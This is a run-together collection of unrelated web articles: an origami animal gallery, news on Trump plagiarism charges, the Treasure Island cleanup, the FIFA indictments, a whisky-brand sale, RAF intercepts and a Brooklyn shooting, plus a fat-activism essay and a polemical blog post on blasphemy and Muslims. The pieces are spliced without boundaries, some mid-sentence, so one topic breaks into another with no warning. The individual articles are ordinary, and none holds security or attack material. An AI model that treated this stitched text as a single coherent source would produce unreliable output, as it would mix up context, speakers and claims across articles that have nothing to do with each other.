Deer, Designed by Yasushi Miyashita and Folded by Alex Mironenko
Diagrams available in the Origami USA Convention 2014 book
Here’s a really cute little origami pig. The paper used is absolutely perfect.
Pig, Designed by Stefan Weber and Folded by Agnieska (Agne) Mackonyte
Diagrams available in the Origami Tanteidan 15th Convention Book
This is a fantastic simple and elegant looking horse design by Fabian Correa. His designs always have this sort of simple curved look to them.
Horse, Designed by Fabian Correa and Folded by Ivan Svatko
Diagrams available in Horses in Origami
This is a great ferret design that really captured the essence of the real animal.
Ferret, Designed and Folded by Charles Wilson
Instructions not available
Here’s a cute little hedgehog out in the wild.
Hedgehog, Designed by Javier Dominguez Perez and Folded by Adriano Davanzo
Diagrams available in the Origami Tanteidan 20th Convention Book
This is a really detailed and awesome giraffe design by Nguyen Ngoc Vu.
Giraffe, Designed and Folded by Nguyen Ngoc Vu
Instructions not available
Beth Johnson designed this awesome beaver with a great colour change so the teeth are white. Using sort of a tessellation for the body is a very unique touch as well.
Beaver, Designed and Folded by Beth Johnson
Instructions not available
Next we have this cute little bear also designed by Fabian Correa.
Grizzly Bear, Designed and Folded by Fabian Correa
Instructions not available
This majestic looking rhino is one of the best rhino designs I’ve seen.
Rhino, Designed and Folded by Nguyen Ngoc Vu
Instructions not available
Hoang Tien Quyet’s fox designs is probably the most famous origami fox design. This one folded by Gonzalo is one of the best versions I’ve seen.
Fox, Designed by Hoang Tien Quyet and Folded by Gonzalo
Diagrams available from Hoang Tien Quyet’s website
Seth Friedman has come up with one of the best origami sheep designs out there. If you use black and white paper the colour changes make it look really great and I especially love the curly horns.
Sheep, Designed by Seth Friedman and Folded by Rui Roda
Video instructions available from Seth Friedman’s YouTube channel
Here’s a whole family of great little paper goats that were folded for the year of the goat in 2015.
Goat Family, Designed and Folded by Nguyễn Hùng Cường
Instructions not available
This excellent bison is folded from a thin sheet of copper instead of paper. It was part of an exhibit at the National Museum of History in Taipei.
Bison, Designed and Folded by József Zsebe
Diagrams available in Paper Conceptions
Here’s the deer from earlier folded by a different artist which gives it quite a different look.
Deer, Designed by Yasushi Miyashita and Folded by Philippe Landrein
Diagrams available in the Origami USA Convention 2014 book
Eric Vigier designed this great little mouse. It’s sort of similar to the design by Eric Joisel.
Mouse, Designed by Eric Vigier and Folded by Luc MARNAT
Instructions not available
Here’s another really great goat. The twisted horns are really awesome, especially with the two coloured paper. Apparently this model only takes 25 steps to fold.
Goat, Designed by Miyuki Kawamura and Folded by Textori
Diagrams available in the Origami Tanteidan 6th Convention book
Quentin Trollip designed this fantastic Red Hartebeest. He’s definitely designed some unique animal models. You can read the legend behind this animal by clicking through to the original image on Flickr.
Red Hartebeest, Designed and Folded by Quentin Trollip
Instructions not available
Here’s a really great and detailed gorilla photographed at the 22nd Tanteidan Convention.
Gorilla, Designed and Folded by Yuta Katsuzaki (Photo by Hiroaki Kobayashi)
Instructions not available
This Jerboa already looks pretty amazing but the whole scene P. Colman assembled here is even better.
Baluchistan Pygmy Jerboa, Designed by Yery J. Astroña and Folded by P. Colman
Diagrams available in the Origami Tanteidan 22nd Convention Book
Our final model for this post is another one of my all time favourites.
Shark Bite Seal, Designed and Folded by Nguyen Ngoc Vu
Instructions not available
That’s it for this post. Which one of these origami animals was your favourite? Let us know in the comments!Last night was about the plagiarism allegations. This morning was about the pushback. Trump presidential campaign chairman Paul Manafort denied charges of plagiarism on CBS and CNN, and at a press conference Tuesday morning — even as the parallels between Melania Trump's address to the Republican National Convention Monday night and passages of Michelle Obama's speech to the Democratic convention eight years ago seemed too numerous and exact to be coincidental.
Trump campaign co-chair Sam Clovis seemed to acknowledge what Manafort wouldn't when he told MSNBC he was "surprised that somebody missed that" and was "sure action will be taken in the campaign to ensure it never happens again." And Republican National Committee chairman Reince Priebus said at a Bloomberg Politics breakfast event in Cleveland that he would "probably" fire the culpable speechwriter.
The campaign appeared to have been caught off-guard by the allegations, and still seemed to be scrambling early in the day — but this isn't the first time Trump or his aides have had to address charges related to ripping off someone else's work.
During the Republican primary, Trump wrote an op-ed for a newspaper in Guam that bore a striking resemblance to one that former GOP rival Ben Carson submitted to a paper in the Mariana Islands just 12 days earlier. Daily Caller reporter Alex Pappas, who was first to note the apparent plagiarism, tweeted a side-by-side comparison of the two articles. The text in black is the same.
Compare Trump's op-ed to the one written by Ben Carson 12 days earlier https://t.co/aUiXlnKLyl pic.twitter.com/0eHE1R4z6Y — Alex Pappas (@AlexPappas) March 16, 2016
Carson adviser Armstrong Williams told the Daily Caller at the time that some of the doctor's staffers had jumped to the Trump campaign, which could help explain the similarities. One such campaign worker, Jason Osborne, told the Saipan Tribune that "plagiarizing ideas, when you accept those ideas, isn't plagiarism; it's just flattery." (Why didn't Jayson Blair think of that line?)
Last month, the New York Times reported that 20 pages of a Trump Institute instructional book were essentially duplicated from a real estate manual published 11 years earlier.
And in April, the liberal press watchdog Media Matters for America caught on-and-off Trump adviser Roger Stone copying material from the Conservative Treehouse blog for an article in the Daily Caller. The Daily Caller removed the piece from its website, and Stone posted a statement from his researcher on Facebook, in which the researcher took the blame for plagiarism.
On the campaign trail, Trump once touted his record of not plagiarizing material. Last summer, when Vice President Joe Biden was considering a presidential bid, Trump told conservative radio host Hugh Hewitt that he liked his chances against the veteran Democrat.
"I think I'd match up great," Trump said. "I'm a job producer. I've had a great record. I haven't been involved in plagiarism. I think I would match up very well against him."
When he ran for president in 1988, Biden admitted to committing plagiarism in law school and to lifting speech material from the British politician Neil Kinnock without attribution.
Trump has been on the other side of plagiarism charges, too: In 2014, NFL star Darnell Dockett copied a pair of Trump tweets verbatim.
Stop flights into the U.S. from West Africa immediately! — Donald J. Trump (@realDonaldTrump) October 1, 2014
Stop flights into the U.S. from West Africa immediately! #EBOLA — DARNELL DOCKETT (@ddockett) October 1, 2014
How is ABC Television allowed to have a show entitled "Blackish"? Can you imagine the furor of a show, "Whiteish"! Racism at highest level? — Donald J. Trump (@realDonaldTrump) October 1, 2014
How is ABC Television allowed to have a show entitled "Blackish"? Can you imagine the furor of a show, "Whiteish"! Racism at highest level? — DARNELL DOCKETT (@ddockett) October 1, 2014
Trump, ever-charitable, tweeted a couple days later that he would not sue Dockett for stealing his thoughts.One of four remaining Treasure Island areas from which the U.S. Navy is removing toxic material is expected to soon receive a clean bill of health.
By the end of January, the Navy, as part of its required ongoing radioactive and chemical cleanup of the man-made island, is expected to transfer ownership of this area’s batch of parcels to San Francisco, which plans to build thousands of new homes and commercial space there.
The remaining three areas are scheduled to be transferred in the coming years — the last is scheduled for Dec. 31, 2021 — but the results of a radioactive feasibility study next year could shorten that time line.
The Navy used the island as a base from 1941 to 1997, and its activities there — largely during World War II — contaminated the island with radiological materials and other toxins. The agency is required under the federal Comprehensive Environmental Response, Compensation and Liability Act to clean it up, and that work is being overseen by San Francisco’s Department of Public Health and state agencies like the California Department of Public Health and the Department of Toxic Substances Control.
The Navy has already cleaned up about half the island and transferred it to The City in 2015, a milestone celebrated by Mayor Ed Lee.
“It’s taken almost two decades to get to this point, and we’re eager to transform this former naval base into a vibrant community,” Lee said at the time.
The Treasure Island Development Authority’s Board of Directors praised the progress of the Navy cleanup during a Nov. 15 hearing when it received an update on the cleanup effort by Dave Clark, lead environmental project manager for the Navy working on Treasure Island.
“Even that, the 2021 [time line], is still very impressive that we have done all this work, just now getting to that tail end,” said TIDA board member Linda Richardson. “Overall, I think this is great news.”
The first of the remaining four areas expected to be transferred to The City are referred to as Parcels 30, 30 north, 30 south and 31.
“Site 30 was the day care center, and the building itself acts as a cap,” Clark said. “If the building were ever to be removed, The City would remove the debris underneath the building. Site 31, there was no building. The debris has been removed from Site 31.”
Clark said the Navy is waiting to “receive a clean bill of health from the California Department of Public Health” for those sites this month and then would transfer them to The City.
“We are well underway to make that happen by the end of January,” Clark said.
As for Site 24, a former dry-cleaning facility and one of the four remaining areas, the Navy will continue monitoring the remediation work there for two more years before the transfer.
“We got about 80 percent of the contamination removed,” Clark said. “We were effectively using bioremediation to naturally break down the chlorinated solvents used in the dry-cleaning process.”
The scheduled date of this site’s transfer to The City is Jan. 30, 2019.
“I think we will be able to get full cleanup of the site and, ultimately, when we transfer the property, there will be no land use controls to monitor,” Clark said. “That’s why the date of 2019 gives us time to collect more data to represent statistically decreasing trends in both soil and soil gas.”
A third area being cleaned up is grouped together as Site 6, the historical fire-fighter training facility; Site 32, a training and storage area; and Parcel 2, the wastewater treatment plant, are slated for transfer by Dec. 31, 2020.
“Site 32 was a storage facility, and in 2010, we did a large PCB [Polychlorinated Biphenyls] cleanup,” Clark said. “The reason why we haven’t transferred it is we use it as a lay down area, mainly for soil from Site 12.”
Clark said the former storage facility is used for testing and scanning soil from Site 12 to determine whether it contains radioactive material, which would be hauled away for disposal.
Site 12, which includes residential housing, will have the most activity moving forward and comprise both chemical and radioactive material cleanup.
The solid waste disposal areas, where materials with radioactive Radium-226 were buried, is the source of “99 percent of all the radiological contamination” on the island. The Navy used radioactive Radium-226 glow-in-the-dark paint for dials and gauges and deck markers.
“Less than 1 percent of anything on Treasure Island from the solid waste disposal areas has been found outside of the solid waste disposal areas,” Clark said. “But this presents a unique challenge to figure out what is the ultimate remedy going to be for Site 12.”
There are four solid waste disposal areas: Westside Drive, Bayside, Bigelow and Northpoint. Clark said that work at Bigelow and Bayside is complete.
“We have to go back to Northpoint in 2018 for another additional dig. But after that, we should be out of there,” he said.
Next year, the Navy will complete a radiological feasibility study for Site 12.
“The feasibility study is key, really, to the open spaces because that is really the most challenging technical question that we have, ‘What is the final remedy to ultimately support property transfer?’” Clark said.
On the chemical remediation front, Clark said, “We are going to go to the northern area of Site 12 for a lot of those small chemical digs. After this is done, we basically should not be going back into the neighborhoods for any remedial action outside of the solid waste disposal area.”
Even as the remediation work draws to a close and state and local health agencies have said that the radiological material and other toxins don’t pose a health risk to the nearly 2,000 residents currently living there, the island’s reputation may forever remain clouded.
“I came to this area from New York about 30 or so years ago, and when I came, word on the street was, ‘No, don’t ever go over to those islands. They are radioactive.’ So I haven’t spent much time here,” said Ruthie Sakheim, who attended the on-island TIDA meeting.
“And I know a whole community has developed here, and I worry about the health of the people here.”
Click here or scroll down to commentTwo persons are reflected in the FIFA logo at the FIFA headquarters in Zurich, Switzerland, Wednesday. Swiss prosecutors opened criminal proceedings into FIFA’s awarding of the 2018 and 2022 World Cups, just hours after seven soccer officials were arrested pending extradition to the U.S. in a separate probe of “rampant, systemic, and deep-rooted” corruption. (Michael Probst/Associated Press)
(Updated at 12:17 p.m. following news conference involving law-enforcement officials in New York )
The U.S. Justice Department unsealed a massive indictment early Wednesday implicating 14 officials associated with soccer across the world — including much of the leadership of FIFA, soccer’s global governing body — in decades of corruption involving bribery, money laundering and fraud associated with how the organization decides where to host the World Cup and its other prestigious soccer events, and how media and marketing deals associated with those tournaments are awarded. Several arrests were dramatically carried out in a five-star resort in Zurich, where FIFA officials are gathered for their annual meeting.
The indictments announced Wednesday centered on media rights and marketing deals associated with FIFA’s tournaments, but federal officials implied crimes may have been committed in connection with the bid process for the 2018 and 2022 World Cups. Attorney General Loretta E. Lynch described corruption within FIFA as “rampant, systemic and deep-rooted.”
Wednesday’s indictments did not include Sepp Blatter — FIFA’s longtime president, who is expected to be re-elected to a fifth term Friday — and a FIFA spokesman pledged Blatter was not involved with any of the alleged corruption, and that the organization welcomes this investigation. Anyone familiar with FIFA’s reputation will greet these claims with skepticism.
[U.S. indicts world soccer officials in alleged $150 million FIFA bribery scheme]
What happens next?
In a news conference in Brooklyn on Wednesday morning explaining the investigation, several federal law enforcement officials implied more charges could be on the way. While officials including Lynch and FBI Director James B. Comey spoke in Brooklyn, federal agents in Miami were executing a search warrant at the headquarters of CONCACAF, the governing body for soccer in North America, Central America and the Caribbean that is associated with FIFA.
While the indictments announced Wednesday are just accusations, and defendants are considered innocent until proven guilty, it is worth noting that two former FIFA officials and the owner of a Brazilian sports marketing company have pleaded guilty and agreed to forfeit millions. While FIFA maintains it welcomes these investigations, with several top officials now facing federal charges, it will be interesting to see if any more defendants agree to plead guilty and turn over more information, which could result in more charges.
“Let me be clear,” said acting U.S. Attorney Kelly T. Currie of the Eastern District of New York, “this indictment is not the final chapter in our investigation.”
Why are U.S. law enforcement agencies pursuing these charges?
Federal law grants law enforcement agencies broad authority to pursue criminal investigations as long as there is some connection to the United States, even a tangential one such as the involvement of a bank, Internet service provider or cell phone company.
“If you touch our shores with your corrupt enterprise … you will be held accountable,” Comey said Wednesday.
Is FIFA that big a deal?
Absolutely. As the governing body for the world’s most popular sport, its political and economic influence is vast. Read this for a full look at the organization’s structure and reach.
If FIFA officials have been involved in decades of corruption as U.S. officials allege, how has it gone on so long without law enforcement involvement?
Good question. A few years ago, FIFA made a move that seemed to indicate a desire for reform. Facing growing criticism after its controversial decisions involving the 2018 and 2022 World Cups, FIFA hired Michael J. Garcia, a former U.S. attorney, as an ethics investigator. Garcia spent more than a year investigating the bidding process, but resigned in protest after he said FIFA officials inaccurately summarized his findings. FIFA refused to release Garcia’s 450-page report, but announced that it found minimal rule violations. Garcia disagreed, alleging he had uncovered “serious and wide-ranging issues” regarding how FIFA awarded those two World Cups.
What does this mean for soccer fans?
The next two World Cups — 2018 in Russia and 2022 in Qatar — were awarded amid widespread accusations of bribery and vote-trading. A FIFA spokesman maintains they will go on as planned. In a fast-moving story now involving criminal investigations on two continents — Swiss authorities announced Wednesday their own investigation of FIFA — it’s unclear if FIFA can really declare with much authority what will happen this week, let alone in 2018 and 2022.
When asked about this Wednesday, Lynch said U.S. officials would not seek to get involved with deciding of future soccer tournaments should be relocated.
If the bribes were paid by rich marketing executives to wealthy soccer officials, who are the victims here?
U.S. taxpayers, for one. Charles Blazer, a former FIFA official who pleaded guilty and cooperated with this investigation, admitted to evading taxes for years, and has paid $1.9 million in restitution. More charges of tax evasion could come. Also: poor children who want to play soccer around the world. Many youth soccer organizations in developing countries depend on FIFA grants, acting U.S. Attorney Currie said Wednesday, so money diverted into the pockets of FIFA officials was money not spent on youth soccer in poorer nations.
Could prominent officials in American sports be implicated?
Federal officials declined to comment specifically Wednesday on anyone not already indicted, but they did allege two anecdotes of interest with ties to the U.S.
Attorney General Lynch accused an unnamed American sportswear company of being involved in a bribery scheme to obtain a sponsorship deal for the Brazilian national team. When a reporter asked her if the unnamed company was Nike – the Oregon-based superbrand that has long had a relationship with Brazil’s soccer team – Lynch declined to comment.
The indictment also alleges $30 million in bribes were paid in connection with the planning for the 2016 Copa America, a soccer tournament scheduled to come to America that year for the first time. Several soccer officials are already charged with crimes connected to that tournament, but more arrests could come.In her short segment on This American Life’s Tell Me I’m Fat episode, Roxane Gay explained that fatness has levels. In Gay’s mind, you’re either just-a-little fat, Lane Bryant fat, or super morbidly obese, and your placement on the fat spectrum probably says a lot about the way you experience both your fatness and the fat acceptance movement.
In the fat activism community, we also talk about levels of fatness. The terms we see most often are “smallfats,” “midfats,” and “superfats,” but the lines between these categories are pretty fuzzy. There are good reasons for this—it’s important that we all get to identify the way we choose, and it’s even more important that no one be excluded from a category that they feel they belong in.
There are some rough guidelines, but I am at the very high end of the fatness spectrum, so I’m going to leave the defining of the smallfat and midfat ranges to the people who occupy them. I do want to talk about “superfat” today, though, and how maybe it’s not the last category on the spectrum anymore.
Origins
The term “superfat” has somewhat unclear origins–Google doesn’t exactly have a tool for determining the genesis of subcultural milestones. My educated guess is that it came from “SSBBW,” a term that, like “BBW” has fallen out of favor because it is usually used by men to describe women to whom they are (or aren’t) attracted. So “SSBBW” came from the “supersize” addition to BBW’s “big beautiful women,” and eventually women who felt that they fit into this category began referring to themselves as “supersize.””Superfat” has become the accepted label more recently–more fat women have rejected the idea that we should be labeled based on men’s attraction to our bodies and have abandoned terms like “SSBBW” for their porn-y associations. But “supersize” lasted a long time, even though its definition wasn’t entirely clear.
Nine years ago I was already well into my fat acceptance life, and I was spending most of my free time on an online message board that was wholly dedicated to fatness. I met what would become my best friends and the most important people in my life on that board, and the conversations I had there were the earliest activism-y sparks of what is now The Fat Lip. The board also developed what was, as far as I can tell, the first agreed-upon-by-fat-women definition of “supersize.”
At that time, in late 2007, the moderators and posters of that forum had created a board specifically to discuss supersize issues. The idea was that supersize women should have a venue that was private to discuss sensitive size-related issues. This was before Facebook groups, and there were so many of us who wanted to talk about these things with women who could relate. This board was to be the place where we could do that. Early on, though, it became clear that we needed to come up with some kind of consensus as to who qualified as “supersize” and who should be given access to this board.
Even then we recognized that choosing an arbitrary weight guideline or clothing size as the only qualification for supersizedom was problematic—what about women who technically didn’t weigh enough to qualify but were short? Clothing sizes differ wildly from shop to shop anyway. What about women who didn’t weigh enough but whose body shapes caused limitations similar to what those that plagued their fatter peers? And what about privacy? Should women be forced to prove their weight or explain their struggles in order to participate in an internet message board?
There were no easy answers here, and, trust me, we did not come to our conclusions lightly.
That was a pun. I’m so sorry.
Ultimately, though, we decided that in order to protect the privacy of these women who were desperately seeking a safe space, we’d have to choose a weight threshold. After much debate, we placed that threshold at 350 pounds. Admission to the board was entirely based on an honor system, and those who said they met the weight criteria were automatically allowed in. Those who did not meet the weight threshold were asked to privately appeal to the moderators to explain how their experiences qualified them and how they could both add value to the discussion on this board and benefit from this discussion in their own lives.
And it really worked. We worked through some real supersize shit on that board, and it felt really good to have a place that was hidden from men who might sexualize our struggles and from smaller fats who might judge or pity us for them. Ultimately, that board and the clearly defined label of “supersize” allowed us to identify who among the fat women in our community shared our unique experiences of superfatness.
Today on the Fat Spectrum
I don’t think any of the women that were active on that board then could have predicted (or even dreamed) that not even ten years later conversations about fatness would be getting the mainstream traction that they are today. Back then the fat community was small and sheltered and hidden. Fats were wearing bikinis all over those boards and at social events for at least 20 years before the word “fatkini” ever existed, but everything was behind the protective wall that guarded our little subculture. Now, though, we’re seeing gleeful fat women in bikinis on Buzzfeed and the Cosmo website. Times have definitely changed.
But even though fat women are now basking in the sunlight, modeling for major publications, and making a career of fashion blogging, the spectrum of fatness is still as significant as ever. For one, as fat acceptance and activism has gained more traction, the definition of “fat” has gotten broader. More people of ever more varying sizes are finding a home in fat positive spaces and claiming the fat identity.
And, to be clear, there’s nothing at all wrong with smaller people now identifying as fat. We should all be free to empower ourselves and our bodies in whatever way we choose. If a size 12 wants to call herself fat, that is totally fine by me.
What this stretching of the fatness spectrum does mean, though, is that those of us on the fattest end are pushed further to the margins. If a size 12 (for example—again, not interested in defining a category I don’t occupy) is on the left side of the fat chart, I’m on the far, far right.
I’ve seen some chatter recently about superfats in fat positive conversations. Just this week I was reading a thread about defining levels of fatness in a Facebook group. In it I saw a user saying that superfat starts at 300 pounds or a size 26. And that’s fine! And it’s not entirely far from the parameter we set on that message board nearly ten years ago even. But it made me think about my current body and my current size.
To Infinity
Here’s the thing. If a size 12 is smallfat and a size 26 is superfat, I’m still on the far, far right. In fact, I have no idea what size I even am. At some point past a size 36 or 38, there just ceases to be any clothing. It is the Great Beyond of fashion. If you’re over a size 36, your fashion choices are knitwear and knitwear. Everything is labeled 6X and it either stretches enough to fit you or it doesn’t.
So if 12 is small fat, 20 is midfat, and 26 is superfat, what exactly does that make a size beyond-36? Because the reality is that my body is as similar to a size 26 as that 26’s is to a size 12—that is: not really similar at all. My experiences and struggles are completely different than a 300 pound person’s. I weigh an entire fat person more than that. How can we be in the same fat spectrum category?
Honestly, I don’t know if this is a question that ever gets asked because my feeling is that a lot of fats don’t even know that beyond-36s exist. But we do. And we need fat positivity too.
So here’s what I think: we need a new category. Because I can’t be outraged that a retailer’s offerings stop at a 26 when EVERY retailer COLLECTIVELY stops well before my size. Because I buy two plane tickets not because I’m hanging over the armrest a little but because I have an entire half of an ass cheek with no place to go. Because Torrid’s size 6 fits SOMETIMES but only when everyone else is complaining that the item is way too big to be labeled a 6.
But what should we fats on the very very very fat end of the fat spectrum be called? I humbly propose “infinifat.” Because what size am I? I really have no fucking idea. A size greater than any assignable size number. Infinity?
Look, this all may seem a little silly. I mean, what does it matter? Having a label isn’t going to change my experiences or the way people react to my body or the way clothing manufacturers think about plus sizes. What it does do, though, is create opportunities for the fattest among us to be represented. It acknowledges that you don’t cease to exist once you become too fat for commercially-available clothing. It proclaims to the rest of the fat community that we are here and we are huge and frankly we’d like to see you try to hide us.The sale of Whyte & Mackay was forced by UK competition regulators after Diageo, the maker of Guinness and Johnny Walker, bought a controlling stake in Indian drinks group United Spirits. Last month Diageo made a new £1.13bn bid to almost double its stake to 55pc in the Indian company.
United Spirits approved the whisky deal at a London board meeting this afternoon. The agreement still needs UK and Indian regulatory approvals as well as a green light from the Reserve Bank of India.
The £430m price tag values the whisky unit, where half of the revenues come from white-label blends, at roughly 20 times earnings before interest, tax, depreciation and amortisation of £22.3m.
Emperador is the world’s biggest maker of brandy but generates most of its revenues from the Philippines. Its parent company Alliance Global Group, led by billionaire Andrew Tan, has publicly said that it wants to control a third of the global brandy market in four years.
Analysts have raised concerns that the acquisition might be a gamble for the Emperador as it will be unchartered territory for the company and the Philippines population may not have the taste for Whyte & Mackay.
Advisors at Rothschild led the sale process alongside Rabobank and Standard Chartered and originally allowed suitors to make bids for part or all of the business including offers for premium Scottish Dalmore single malt whisky, known for its stag’s head logo, within their bids for Whyte & Mackay.
However it is understood that it was decided too complicated to evaluate bids on a stripped-out basis. According to sources three bidders remained in the process until Emperador's knock-out offer.
Interested bidders for the scotch that was founded on the docks of Glasgow in 1884 had included rival drinks companies such as Pernod, Remy Cointreau and Campari, private equity groups such as TPG and South African drinks tycoon Vivian Imerman, the former owner of Whyte & Mackay.
Mr Imerman took control of Whyte & Mackay in 2005 through a buy-out with his former brother-in-law, the property tycoon Robert Tchenguiz. He sold the 169-year-old distiller two years later to United Spirits for £595m, a deal that reportedly made him £396m.
Mr Imerman, nicknamed “the man from Del Monte”, has previously said that the scotch whisky brand would make “an important addition” to the spirits and beer business he has built up in Africa and Asia.An independent film about a young reporter who is sent back to their hometown to investigate a murder is being filmed right here in Central Alberta next month.
Executive Producer of the film, "Cor Values" Dean Busch, who is originally from the Red Deer area, said he always wanted to work here at home, which will be used as a substitute for a small town in Idaho.
Busch says the director of the film fell in love with the area.
“I was working on a project earlier this year, and I met Gilbert Allen who is the director of this film, and he had mentioned it to me, and asked me about some locations and what not, so he came down and toured around, and he just said ‘This is it, this is the place I want to shoot this movie’”.
They will be filming in areas in Springbrook, Red Deer, and right here in Lacombe.
Filming starts on November 1st, and they are looking for volunteers in a number of capacities, including as extras in the film.
Busch says a few local companies have signed up to be scene locations in the film.
“We’ve got a motel that’s helping us out, we got a couple of restaurants that are helping us out, and just some other locations. We’re hoping to get one of the golf courses to help us out because we got a scene out there. I can’t say too much about that other than once I get them signed you’ll be able to go to the website and see who is participating.”
For more information on how to get involved, you can check out their website, Reyjaxmedia.com, and send them an email regarding this film.
(Poster courtesy Dean Busch)After receiving a series of teasers, we finally get a full look at the NikeLab’s upcoming ACG 2017 summer collection. With help from ACRONYM’s Errolson Hugh, NikeLab created yet another collection that looks to bring function and fashion together. The latest collection is comprised of a poncho, convertible shirt jacket, pullover hoodie, cargo pant, cargo short, fleece short and more. But the most standout item from the collection has to be the ACG.07.KMTR footwear model. Crafted for the urban commuter, the shoe features a laceless upper constructed of a water-resistant textile material, magnetic heel closure and bold lockdown toggles that fully expresses the functional aesthetic of NikeLab’s ACG line. Retailing between $119 USD and $295 USD, NikeLab’s ACG 2017 summer collection will be available May 18 from retailers like END.
Also, make sure to check out our on feet look at the ACG.07.KMTR from the collection.First, some fire fighters' unions spoke out against presidential candidate Rudy Giuliani. Now a police officers' union is totally anti-Rudy.
The Patrolmen's Benevolent Association president Patrick Lynch issued a statement blaming the former mayor for not giving cops raises ("zeroes for heroes" contract) and essentially creating the recruiting/retainment problems the NYPD has. And then there's what the PBA thinks about Giuliani's 9/11 record:
Giuliani has wrapped himself firmly in the cloak of 9/11 for his own political purposes. But the real heroes of 9/11, those who helped to evacuate those towers and lived to tell the tale and all those who participated in the recovery and cleanup, know the truth. Rudy Giuliani has no real credentials as a terrorism fighter. His only credentials lie in managing the cleanup after a terror attack. The New York City Patrolmen’s Benevolent Association could never support Rudy Giuliani for any elected office.
That's gotta hurt! Giuliani's campaign response? "Mayor Giuliani continues to have strong support from the law enforcement community, which knows his long record of supporting New York’s Police Department and working with the department to make New York the safest large city in America." Where's the mention of Bernard Kerik
Image from Crosswalks TelevisionLas Vegas, Nevada – March 26, 2014 – STUDIOCOAST PTY LTD, creator of the Live Production and Streaming Software vMix, has released version 12 ahead of NAB 2014.
New features include live 4K support, Twitter and Facebook integration, playback of additional professional formats including ProRes and support for the Matrox VS4 HD input card.
“This year we will be showcasing 4K, a first for software based live production” says vMix developer Martin Sinclair, “4K support demonstrates the power available in vMix, even if you’re only using HD”. vMix pricing starts from $55 USD for Basic HD up to $630 USD for vMix 4K.
vMix staff will be at the VMIX - STUDIOCOAST PTY LTD booth |
used often in fights between the legislative branch and the executive branch?
A: Since 1975, 10 Cabinet-level or senior executive officials have been cited for contempt by subcommittees or committees for failure to produce subpoenaed documents. They are Secretary of State Henry Kissinger and Commerce Secretary Rogers C. B. Morton in 1975; Health, Education and Welfare Secretary Joseph A. Califano Jr. in 1978; Energy Secretary Charles Duncan in 1980; Energy Secretary James B. Edwards in 1981; Interior Secretary James Watt in 1982; Gorsuch, known as Anne Gorsuch Burford after a 1983 marriage, and Attorney General William French Smith in 1983; White House Counsel John M. Quinn in 1996; and Attorney General Janet Reno in 1998.Fully armed NATO and Russian aircraft keep having encounters as the tension between both powers increase. These photos were taken yesterday by RAF Eurofighters over Baltic airspace. They intercepted four SU-27 Flanker fighters and a Tupolev Tu22 Backfire bombers, among others.
The Typhoon aircraft, from 3 (Fighter) Squadron, were launched after four separate groups of aircraft were detected by NATO air defences in international airspace near to the Baltic States.
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Once airborne, the British jets identified the aircraft as a Russian Tupolev Tu22 'Backfire' bomber, four Sukhoi Su27 'Flanker' fighters, one Beriev A50 'Mainstay' early warning aircraft and an Antonov An26 'Curl' transport aircraft who appeared to be carrying out a variety of routine training. The Russian aircraft were monitored by the RAF Typhoons and escorted on their way.
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A RAF Typhoon fighter with two Russian SU-27 Flankers on the forefront.
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A fully armed Tupolev Tu22 Backfire bomber. Is that a cruise missile on its belly?
A Russian Beriev A50 'Mainstay' airborne early warning and control aircraft.
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FLATLANDS, Brooklyn — An off-duty city correction officer was fatally shot while sitting in her car in Brooklyn Sunday night.
The shooting happened around 9:15 p.m., near Avenue L and E. 73rd Street in the Flatlands section of the borough.
Alastasia Bryan, 25, was sitting in her car when a dark colored Honda pulled up and fired, police said.
“On behalf of all New Yorkers, I want to extend my deepest sympathies to the family and loved ones of Alastasia Bryan – a rising member of New York City’s Department of Correction who was senselessly murdered yesterday in Brooklyn," said Mayor Bill de Blasio." The NYPD is working aggressively to find the person responsible for this heinous act and will maintain its pursuit until they are brought to justice.”
Bryan was struck in the head and torso. She was pronounced dead at the scene.
"Tonight our correction family and the entire City of New York is shocked
and grieving the horrific murder of one of the youngest members of New York City's Boldest, who was shot and killed by an unknown assailant while sitting in her car in Brooklyn," said Correction Officers' Benevolent Association President Elias Husamudeen.
"There are no words that can express the depth of this tragedy. The COBA will do everything we can to support the officer's family during this time and we will not rest until the assailant or assailants are brought to justice."
On Monday, Commissioner Joseph Ponte said the following:
"The entire Department of Correction is in mourning, deeply saddened to learn of the shooting death of an off duty Correction Officer. I extend my heartfelt condolences to the officer's family, friends, and fellow officers throughout the department, during this most difficult time.”
No arrests have been made.Is NOT Going Back to the Dark Ages Worth Offending “Moderate” Muslims?
Yesterday was the International Blasphemy Day, supposedly meant to protect freedom of expression from intrusions by religion, and offer solidarity to victims of persecution in countries where real or de facto blasphemy laws exist. As it happens, however, not all voices were for more freedom of expression, even within the secular community. Case in point: one of my own fellow SIN bloggers, Jacques Rousseau, invites us to ponder whether exercising our right to free expression is a good idea or not:
But when you mock someone’s god (which you have every right to do), there’s no way to target only those followers of that god that do bad things as a consequence of their faith. Your offense is delivered by shotgun, causing emotional harm to anyone who feels strongly about that faith, regardless of how that faith plays out in their day-to-day lives. So it is justified to think about the costs versus the benefits of this sort of offence – you assert your freedoms, yes, and you might also remind people that there’s no obligation on the rest of us to take what you do, seriously. And, Muslims who are peace-loving, kind, trustworthy and so forth must be rather saddened, in that it would strike them as perhaps gratuitous, but certainly the (indirect) fault of Muslims who seem nothing like them, except for the fact that they both identify with the same (roughly) religious tradition.
Poor, poor souls! The “peace-loving, kind, trustworthy and so forth” people are going to be saddened! It is rather interesting that with despite all the positive qualifiers, they are utterly incapable of growing a thicker skin. Well I am mighty pissed that, according to so many of them, I am going to be roasting in hell forever and ever for not sharing their beliefs. Any chance they are going to stop saying that?
The fact that we are supposed to appease “peace-loving, kind, trustworthy and so forth” people by forsaking our own basic human rights points to a much deeper problem. As a result of actions by violent Muslims, we have set the bar ridiculously low for what is acceptable as civilized behavior, as far as Muslims are concerned. In what other context would we call someone who demands that you shut up so that their tender feelings are not hurt a “moderate“, even if the statement being made is indisputably true? We have completely lost our way, and agreed to give up our rights even without a fight.
As an example of the kind of people we are supposed to appease, Jacques tells us about a post by a Muslim titled “A perversion of my faith”. And Jacques adds:
It remains true that Rajab’s god doesn’t exist (at least, if by “exist” we mean really exist as a consciousness of some sort). One day, I’d hope that this would be self-evident to everyone. But in the meanwhile, even if it is true that Islam tends to cause more violence than other religions, and even if it’s true that this violence is in the service of a fiction, surely we can nevertheless be happy, and supportive, when someone from inside that tradition denounces the harms done in its name?
